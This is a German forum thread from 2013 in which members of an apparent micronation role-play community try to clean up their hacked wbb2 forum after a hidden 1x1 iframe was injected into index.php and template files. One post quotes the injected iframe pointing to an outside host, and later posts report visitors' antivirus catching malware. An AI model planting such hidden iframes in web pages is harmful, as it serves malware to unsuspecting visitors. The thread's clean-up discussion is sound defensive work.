Heute war ein cooler Tag in meiner MN, weil ...

Beitrag von „Graf von Düsterstein“ vom 28. Januar 2013 um 23:29

Neues Dauerspiel erfunden.

Heute war ein cooler Tag in meiner [*hier Name der MN einsetzen*], weil [*hier Grund dafür einsetzen*].

Beitrag von „Professor Tibatong“ vom 29. Januar 2013 um 20:27

Heute war ein cooler Tag im Märchenland, weil ich mit dabei sein darf bei einer Expedition dorthin, wo noch nie zuvor jemand war. Und zwar fahren wir dorthin mit dem Zug.

Beitrag von „Katharina af Falkgård“ vom 29. Januar 2013 um 22:23

Wenn da noch nie Jemand war, wie weit reichen dann wohl die Schienen? 

Beitrag von „Professor Tibatong“ vom 30. Januar 2013 um 09:05

Der Schaffner sagt, am Zielbahnhof war noch nie jemand gewesen.

Beitrag von „Walter Albrecht“ vom 30. Januar 2013 um 13:33

Heute war kein cooler Tag in der SDR, weil das Forum im Arsch ist.

Beitrag von „Wernher Graf von Perleburg“ vom 30. Januar 2013 um 15:12

Scheint aber nichts Großes zu sein, die einzelnen Bords und Threads scheinen noch da zu sein:

http://www.sdr.mn-welt.de/forum/board.php?boardid=1

Allerdings seid ihr wohl gehackt worden, wenn man sich den Quelltext der index.php ansieht:

> Zitat
>
> <!-- . --><iframe src="http://caprichosdecasa.net/images/index.php" width='1' height='1' frameborder='0'></iframe>
> <!-- . --> <!-- . --><iframe src="http://caprichosdecasa.net/images/index.php" width='1' height='1' frameborder='0'></iframe>
> <!-- . -->

Beitrag von „Walter Albrecht“ vom 30. Januar 2013 um 15:56

Die spanische Möbelkette in unserer index.php hatte ich vorhin auch schon entdeckt. ~~Der ACP funktioniert auch.~~ Allerdings habe ich selber null Ahnung, was man in einer solchen Situation macht. Backup ist runtergeladen, aber ich habe Zweifel daran, dass es ein richtiges Backup ist, da es nur 12 MB groß ist.

EDIT: Auch das ACP hat sich in die weiten Welten des ewigen Weiß verabschiedet.

Beitrag von „Hendrik Wegland“ vom 30. Januar 2013 um 17:40

12 MB kann hinkommen...

Hast du es mit MySQLDumper oder PHPmyAdmin erstellt?

Würde das Forum einfach neu installieren und dann auf die hoffentlich noch funzende Datenbank verweisen lassen.

Beitrag von „Walter Albrecht“ vom 30. Januar 2013 um 18:27

> Zitat von Hendrik Wegland
>
> Hast du es mit MySQLDumper oder PHPmyAdmin erstellt?

Ehrlich gesagt habe ich gedacht, dass das "Datenbank sichern" über den ACP reicht.

(EDIT: minasol wurde benachrichtigt)

Beitrag von „Joan Batista“ vom 30. Januar 2013 um 21:19

Dieses iframe-Zeugs hatten wir auch vor ein paar Monaten. Ich musste dann ein paar Dutzend Seiten manuell ausbessern.

Die Urheber waren entweder Franzosen oder Polen. Dabei haben wir denen doch nie etwas getan...

Beitrag von „Walter Albrecht“ vom 30. Januar 2013 um 22:41

Bin auch gerade dabei, die 206 Dateien manuell zu ändern. (Noch funktioniert aber nichts so wie es sollte.)

Bei uns sind es Spanier.

Beitrag von „Wernher Graf von Perleburg“ vom 30. Januar 2013 um 23:58

Entschuldige die dumme Frage, aber hast Du keine Kopie des Forums auf der Festplatte, die Du einfach hochladen könntest, anstatt jede einzelne Datei zu bearbeiten? Außer in der Datenbank und im Avatarordner ändert sich ja im normalen Betrieb nichts.

Beitrag von „Walter Albrecht“ vom 31. Januar 2013 um 00:04

Nein, habe ich nicht. Ist jetzt auch gar nicht mehr so dramatisch. Es ging schneller als ich dachte: Die infizierten Dateien sind alle bearbeitet, alles iframe-Scheiß gelöscht. Theoretisch müsste ja jetzt wieder alles laufen, aber es ändert sich nichts. Obwohl das index.php auch bearbeitet ist, wird das gleiche angezeigt wie vor der Bearbeitung. Zum Mäusemelken ist das.

Beitrag von „Wernher Graf von Perleburg“ vom 31. Januar 2013 um 00:13

Die Index-Datei greift wohl auch auf irgendwelche Templates zu (d.h. beim wbb2 weiß ich es gar nicht so genau, wie das konstruiert ist), aber bei 206 Dateien, dürften die ja dabeigewesen sein.Vielleicht wirklich mal alles per FTP runterladen und die Dateien mit einem Suchwerkzeug nach dem besagten Code durchsuchen. Vielleicht hast Du irgendetwas übersehen.

Beitrag von „Wernher Graf von Perleburg“ vom 31. Januar 2013 um 00:26

Ähm, das heißt, wahrscheinlicher ist wohl, daß die bei ihren Machenschaften irgendwas rausgelöscht haben. Nimm doch mal die Originalversion der index.php wie sie beim wbb2 dabei ist und ersetze die modifizierte.

Beitrag von „Walter Albrecht“ vom 31. Januar 2013 um 00:43

Wenn ich etwas an das Ende der Index-Datei schreibe, zeigt der Quelltext nichts mehr an. Nehme ich das wieder weg, kommt wieder der Code mit der spanischen Möbelhandelsgesellschaft. Obwohl in der Datei selbst wirklich nichts mehr davon ist... Ich gucke mir das morgen mal in Ruhe noch einmal an.

(204 der 206 Dateien, die ich bearbeitet habe, sind unter /forum/ACP/template. Die anderen zwei infizierten Dateien sind die index.php unter /forum und unter /forum/ACP. Eigentlich müsste alles beseitigt sein, aber anscheinend wurde irgendwas manipuliert.)

EDIT:

> Zitat von Wernher Graf von Perleburg
>
> Ähm, das heißt, wahrscheinlicher ist wohl, daß die bei ihren Machenschaften irgendwas rausgelöscht haben. Nimm doch mal die Originalversion der index.php wie sie beim wbb2 dabei ist und ersetze die modifizierte.

Dafür bräuchte ich die Originalversion aber erstmal. :wacko: Image not found or type unknown

---

Beitrag von „Walter Albrecht“ vom 31. Januar 2013 um 12:06

No way, alles was infiziert war wurde von mir geändert. Irgendwie mache ich irgendwas aber trotzdem irgendwo falsch, das Forum ist immer noch voller Links nach Bilbao. Kann man die Typen nicht irgendwie anzeigen oder so, oder gleich erhängen.

Beitrag von „Wernher Graf von Perleburg“ vom 31. Januar 2013 um 17:54

Wäre es vielleicht denkbar, daß diese Links in die Datenbank geschrieben wurden und mit einer Verknüpfung ausgelesen werden? Ich vermute auch, wie gesagt, daß die in den betreffenden Seiten einiges gelöscht und nicht nur dazugeschrieben haben. Eine wirkliche Schweinerei das ganze.

Ja, anzeigen müßte gehen, aber Du stehst dann schon mal vor dem Problem, ob Du es hier oder bei der Polizei in Spanien machst und dann fragt sich ob das tatsächlich Spanier sind. Ich vermute, es wird nicht viel bei rumkommen. Aufhängen wäre sicher praktikabler, aber eher nicht durch das Notwehrrecht gedeckt und haben müßte man sie ja auch erst mal.

> Zitat
>
> Dafür bräuchte ich die Originalversion aber erstmal.

Dann gehört das Forum wohl immer noch Bonecker.... Ich denke, Du wirst nicht umhinkommen, Dir die Originaldatei oder die zuletzt verwendete Variante zu besorgen. Da ja die Lizenz vorhanden ist könnte im Prinzip auch ein anderer wbb2-Besitzer eine solche zur Verfügung stellen.

Beitrag von „Platzmeister“ vom 31. Januar 2013 um 20:09

> Zitat von Walter Albrecht
>
> No way, alles was infiziert war wurde von mir geändert. Irgendwie mache ich irgendwas aber trotzdem irgendwo falsch, das Forum ist immer noch voller Links nach Bilbao....

Das scheint so nicht ganz richtig. Wenn ich das richtig sehe sind auf Eurem Webspace ALLE index.php und wahrscheinlich dazu noch alle .htm Dateien infiziert.

Beitrag von „Walter Albrecht“ vom 31. Januar 2013 um 21:38

203 Dateien unter /forum/acp/templates sind von mir gesäubert worden, dazu noch die beiden index.php unter /forum und /forum/acp. Die einzigen mir bekannten infizierten Dateien sind eben wieder die
/acp/templates-Dateien, aber diesmal unter /altesforum. (Wie man schön hört: vom alten Forum, das anscheinend auch noch drauf war - wusste ich bis eben nicht.) Behindern jetzt die /altesforum-Dateien das Forum der SDR oder gibt es Dateien unter /forum, die ich noch sauber machen muss oder sind sie erst gar nicht sauber gemacht worden?!

Ich werde mich mal nach dem Originalforum erkundigen. Schon irgendwie scheiße, wenn man keine Ahnung davon hat.

(Wenn ich jetzt ein wbb 3 kaufe; könnte ich dann die Profile, Beiträge (alle Beiträge! Threads, ...), Unterforen usw. übernehmen? Beziehungsweise allgemein: die Beiträge usw. sind ja noch da, oder?)

Beitrag von „Wernher Graf von Perleburg“ vom 31. Januar 2013 um 23:50

Davon abgesehen, daß ich alles andere als ein Experte bin, ist das alles von außen schwer zu beurteilen, da php-Dateien von außen - im Gegensatz zu html - nur teilweise eingesehen werden können. Stammte das Dessin nicht von de Rossi? Sah für mich jedenfalls danach aus. An den oder an den Obersten Hirten würde ich mich mal gezielt wenden. Die sollten Dir wirklich kompetente Auskünfte geben können.

Ansonsten scheint ja mit Guaimara auch ein wbb3 gehackt worden zu sein, ob das dann die Lösung wäre, ist die Frage.

Beitrag von „Oberster Hirte“ vom 1. Februar 2013 um 09:13

Keines der Foren ist gehackt worden. Wenn die index.php und html-Dateien verändert wurden, dann war das FTP-Passwort nicht sicher.

Bei dir dürfte sich das Iframe in der index.php befinden, die Dateien im Ordner acp/templates sind nur... ACP-Templates. Die Dateien für das Forum sind einmal in der Datenbank, da sollte nix drin sein, und einmal zwischengespeichert im cache-Ordner, die sind eventuell auch infiziert. Die kannst du alle auf einmal neu überschreiben indem du im ACP die Templates cachest.

Beitrag von „Walter Albrecht“ vom 1. Februar 2013 um 11:42

Ich überprüfe es immer und immer wieder: Im index.php ist kein Iframe mehr! Aber es wird immer noch so angezeigt. Ich habe im gesamten FTP geschaut und die einzigen noch infizierten Dateien sind die ACP-Templates vom alten Forum. Das neue Forum müsste damit doch eigentlich wiueder laufen?!

Beitrag von „Oberster Hirte“ vom 1. Februar 2013 um 21:45

Nicht zwingend. Aber mehr kann ich dir so blind nicht sagen 

Beitrag von „Walter Albrecht“ vom 1. Februar 2013 um 23:01

Schaust du dir das Desaster mal kurz an, wenn ich Dir die Zugangsdaten gebe?

Beitrag von „Wernher Graf von Perleburg“ vom 2. Februar 2013 um 15:56

Kann es sein, daß da jetzt ein Trojaner drauf ist? Ich hatte eben so das Gefühl, daß da was im Busch ist, da der Rechner beim Betreten der Seite zu werkeln begann. Deshalb habe ich dann auch schnell das Verbindungskabel zum Internet gezogen und prophylaktisch die Systemwiederherstellung ausgeführt. Jetzt hat mein Virenscanner da auch etwas von nicht identifizierbarem Objekt in einem Ordner gemeldet. Ich glaube, das war bei mir gerade in letzter Sekunde, sonst wäre ich wohl damit beschäftigt, meinen PC wieder in Ordnung zu bringen.

Beitrag von „Walter Albrecht“ vom 2. Februar 2013 um 16:27

Es kann nicht sein, es ist so. Mein Antivirenprogramm hat auch sofort was in die Quarantäne verschoben.

Ach, ich komme gar nicht mehr klar damit. Ich mache jetzt die Xbox an.